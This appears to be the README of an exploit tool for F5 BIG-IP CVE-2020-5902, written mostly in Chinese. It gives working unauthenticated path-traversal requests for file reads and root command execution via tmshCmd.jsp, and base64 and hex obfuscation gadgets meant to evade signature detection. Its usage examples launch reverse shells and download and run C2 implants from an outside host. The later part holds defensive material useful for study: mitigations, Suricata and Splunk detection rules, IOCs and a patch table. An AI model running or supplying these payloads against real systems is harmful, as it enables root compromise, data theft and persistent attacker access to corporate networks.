
O F5 BIG-IP é uma plataforma de entrega e segurança de aplicações amplamente utilizada em ambientes corporativos. A CVE-2020-5902 é uma vulnerabilidade crítica no TMUI que, em versões não corrigidas, pode permitir acesso não autorizado e execução remota de código, reforçando a necessidade de atualização e gestão contínua de vulnerabilidades.
F5 BIG-IP 流量管理用户界面(TMUI)中严重路径遍历/远程代码执行漏洞的概念验证利用程序。
⚠️ 仅用于授权的渗透测试和安全研究。 未经授权对非您所有或未获书面许可的系统使用属于违法行为。 作者对本工具的滥用不承担任何责任。
F5 BIG-IP 是一系列多功能网络设备(负载均衡器、WAF、应用交付控制器)的统称,广泛应用于全球大多数财富500强公司、金融机构、医疗保健机构和政府机构。流量管理用户界面(TMUI) 也称为配置实用程序,是在端口443(或8443)上可访问的基于Web的管理门户。
2020年7月,F5披露了CVE-2020-5902,这是TMUI中一个严重(CVSS 9.8) 的未授权路径遍历漏洞,允许远程未授权攻击者:
在公开披露后的几天内,大规模利用在野外被观察到,包括国家级行为者的利用。
TMUI基于Apache Tomcat构建,并使用Servlet过滤器对受保护资源强制进行身份验证。漏洞在于Tomcat解析分号分隔的路径段(;)的方式。
以下请求完全绕过身份验证:
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
为何有效:
/tmui/login.jsp(在;之前结束)——这是公开的登录页面——因此允许该请求。/..;/时将其当作路径遍历(/../)。fileRead.jsp Servlet,无需身份验证。┌──────────────────────────────────────────────────────────────────┐
│ 客户端请求 │
│ GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp │
└────────────────────────────┬─────────────────────────────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat Servlet 过滤器 │
│ 看到: /tmui/login.jsp ✓ │
│ (公共端点 → 允许) │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat URL 解析器 │
│ 解析: /..;/ → /../ │
│ 最终路径: /tmui/locallb/ │
│ workspace/fileRead.jsp ← 🔓 │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ fileRead.jsp (无身份验证检查) │
│ 以root身份读取任意文件 │
└───────────────────────────────┘
tmshCmd.jsp Servlet(同样可通过相同的遍历方式访问)将command和utilCmdArgs参数直接传递给tmsh(BIG-IP管理Shell),后者封装了run util bash -c '...'。这提供了未经过身份验证的root级操作系统命令执行:
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
阶段1:侦察
└─ TCP 横幅抓取(HTTP/TLS 指纹)
└─ SSL 证书分析
└─ HTTP 头部指纹(Server、X-Powered-By、Set-Cookie)
└─ 从 /etc/f5-release 估计 BIG-IP 版本
阶段2:漏洞检查
└─ 遍历 6 种遍历编码变体
└─ 针对 4 个已知可读的哨兵文件测试
└─ 确认输出与已知指示符匹配(root:x:0:0、BIG-IP 等)
阶段3:漏洞利用
├─ 向量 A:tmshCmd.jsp(主要 RCE)
│ └─ 命令通过 base64 / 十六进制编码 gadget 混淆
├─ 向量 B:fileRead.jsp + fileName 参数中的命令注入
│ └─ 操作系统命令注入到 fileName 参数中
└─ 向量 C:日志中毒(User-Agent 注入 → 读取 access_log)
阶段4:后利用(可选)
├─ 交互式 Shell(命令 REPL)
├─ 反弹 Shell(4 个并发单行命令)
├─ LFI 暴力破解(30 个敏感路径,并行)
└─ C2 植入程序部署(Sliver / Metasploit / 自定义)
该工具每次执行时应用两种混淆 gadget 之一,使静态签名检测更加困难:
# Gadget 1 — Base64 编码/解码管道
bash -c {echo,aWQ=}|{base64,-d}|bash
# Gadget 2 — 十六进制字节 printf 求值
eval "$(printf '\x69\x64')"
BIG-IQ、BIG-IQ集中管理、F5OS 和 Traffix SDC 不受此特定 CVE 影响。
!revshell、!c2、!read、!brute 命令git clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3
要求: Python 3.10+
python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
[--cmd CMD] [--shell] [--lfi-brute]
[--revshell LHOST LPORT]
[--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
target
# 1. 仅漏洞检查
python CVE-2020-5902.py 192.168.1.100
# 2. 自定义端口 + 单条命令执行
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"
# 3. 交互式 Shell
python CVE-2020-5902.py 192.168.1.100 --shell
# 4. LFI 暴力破解(读取 30 个敏感路径)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute
# 5. 反弹 Shell 回调
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444
# 6. 部署 C2 植入程序(Sliver 示例)
python CVE-2020-5902.py 192.168.1.100 \
--c2-url http://10.0.0.1:8000/implant \
--c2-type linux
# 7. 通过 Burp Suite 路由以检查流量
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080
进入 --shell 模式后,可使用以下特殊命令:
最有效的缓解措施是确保管理接口永远无法从不受信任的网络访问:
# BIG-IP:将管理访问限制到专用 VLAN/IP 范围
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config
或者,在 BIG-IP Self IP 配置中,确保管理端口没有外部路由。
F5 发布了一个缓解脚本,添加 Apache RewriteRule 以阻止遍历模式:
# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]
参考: K52145254 — 缓解步骤
最终修复是将 BIG-IP 升级到已修复的版本(请参阅受影响版本表)。F5 修正了 Servlet 过滤器逻辑,以在身份验证强制之前正确解析分号分隔的路径段。
┌────────────────────────────────────────────────────────────────┐
│ 推荐架构 │
│ │
│ 互联网 ──────► 防火墙 ──────► DMZ / 生产环境 │
│ │ │
│ │ (拒绝所有到管理端口的流量) │
│ │ │
│ 跳板机 ──────► BIG-IP TMUI(端口 443) │
│ (MFA + VPN) (仅管理 VLAN) │
└────────────────────────────────────────────────────────────────┘
关键原则:
Self IP 端口锁定应设置为 Allow None 或 Allow Defaults如果在 BIG-IP 管理前面有 WAF(不常见但某些架构中可能存在),请添加规则以阻止:
; 的 URL 路径..; 或 %3b/tmui/locallb/workspace/ 请求[ ] BIG-IP 已更新到修复版本
[ ] TMUI 未暴露到互联网(使用 Shodan/Censys 验证)
[ ] 管理 VLAN 与生产环境隔离
[ ] Self IP 端口锁定已配置(Allow None 或 Allow Defaults)
[ ] 管理访问已启用 MFA
[ ] BIG-IP 软件清单已纳入资产管理系统中
[ ] 自动漏洞扫描(Tenable/Qualys)包含 BIG-IP
[ ] 已配置日志转发至 SIEM(access_log、audit.log)
[ ] 网络分段:被攻陷的 BIG-IP 无法到达域控制器
[ ] 事件响应预案包含网络设备被攻陷场景
# 检测路径遍历尝试(分号绕过)
alert http any any -> $HOME_NET 443 (
msg:"CVE-2020-5902 F5 BIG-IP TMUI 路径遍历";
flow:to_server,established;
content:"tmui"; http_uri; nocase;
content:"..;"; http_uri;
content:"workspace"; http_uri; nocase;
reference:cve,2020-5902;
sid:9000001; rev:1;
)
# 检测编码分号变体
alert http any any -> $HOME_NET 443 (
msg:"CVE-2020-5902 F5 BIG-IP TMUI 路径遍历(编码)";
flow:to_server,established;
content:"tmui"; http_uri; nocase;
content:"%3b"; http_uri; nocase;
content:"fileRead"; http_uri; nocase;
reference:cve,2020-5902;
sid:9000002; rev:1;
)
# 在 BIG-IP 访问日志中搜索遍历尝试
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log
# 查找对易受攻击端点的成功命中
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."
index=network sourcetype=f5:bigip:access
(uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
(uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "高", "中")
| stats count by src_ip, uri_path, status, risk
| sort -count
URL 模式:
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp
常见攻击者目标(访问的文件):
/etc/passwd — 凭据收集
/config/bigip.conf — VPN/路由配置外泄
/config/bigip.license — 许可证密钥窃取
/config/bigip_user.conf — 本地管理员账户枚举
/root/.bash_history — 历史命令侦察
http.title:"BIG-IP" port:443本工具仅提供用于教育目的和授权的安全评估。它旨在供以下人员使用:
在未经明确书面许可的情况下使用本工具攻击系统属于刑事犯罪,违反了美国计算机欺诈与滥用法案(CFAA)、英国计算机滥用法、巴西 Lei Nº 12.737/2012(Lei Carolina Dieckmann)以及全球大多数司法管辖区的类似法律。
本仓库的作者和贡献者不对任何因滥用本软件造成的损害、法律后果或其他伤害承担责任。
为安全研究社区而制作。 修补您的系统。保护您的网络。
| 变体 | 载荷 |
|---|
| 标准 | tmui/login.jsp/..;/tmui/... |
| 编码分号 | tmui/login.jsp/..%3b/tmui/... |
| 双重 URL 编码 | tmui%2flogin.jsp%2f..%3b%2ftmui%2f... |
| Unicode 点点 | tmui/login.jsp/%2e%2e;/tmui/... |
| 大小写变体 | TMUI/login.jsp/..;/tmui/... |
| 目录混淆 | tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/... |
| BIG-IP 分支 | 受影响范围 | 修复版本 |
|---|
| 15.x | < 15.1.0.4 | ≥ 15.1.0.4 |
| 14.x | < 14.1.2.6 | ≥ 14.1.2.6 |
| 13.x | < 13.1.3.4 | ≥ 13.1.3.4 |
| 12.x | < 12.1.5.2 | ≥ 12.1.5.2 |
| 11.x | < 11.6.5.2 | ≥ 11.6.5.2 |
| 命令 | 描述 |
|---|
!revshell <lhost> <lport> | 同时触发 4 种反弹 Shell 变体 |
!c2 <url> <type> [args] | 下载并执行 C2 植入程序 |
!read <path> | 通过 LFI 读取任意文件 |
!brute | 暴力破解 30 个敏感路径 |
!exit | 终止会话 |
<任意操作系统命令> | 通过 RCE 执行并打印输出 |
| 日期 | 事件 |
|---|
| 2020-06-30 | F5 私下收到通知 |
| 2020-07-01 | F5 发布公告(K52145254)和补丁 |
| 2020-07-03 | 公开 PoC 在 Twitter 上发布 |
| 2020-07-04 | 多个威胁情报公司观察到大规模利用 |
| 2020-07-06 | CISA 发布紧急指令 20-03,要求联邦机构打补丁 |
| 2020-07-09 | 确认国家级行为者(APT)在野外利用 |
| 2020-07-15 | 约 8,000 个 BIG-IP 实例仍未打补丁(Shodan) |
| 2020-08-xx | 勒索软件团伙开始针对未打补丁的 BIG-IP 设备 |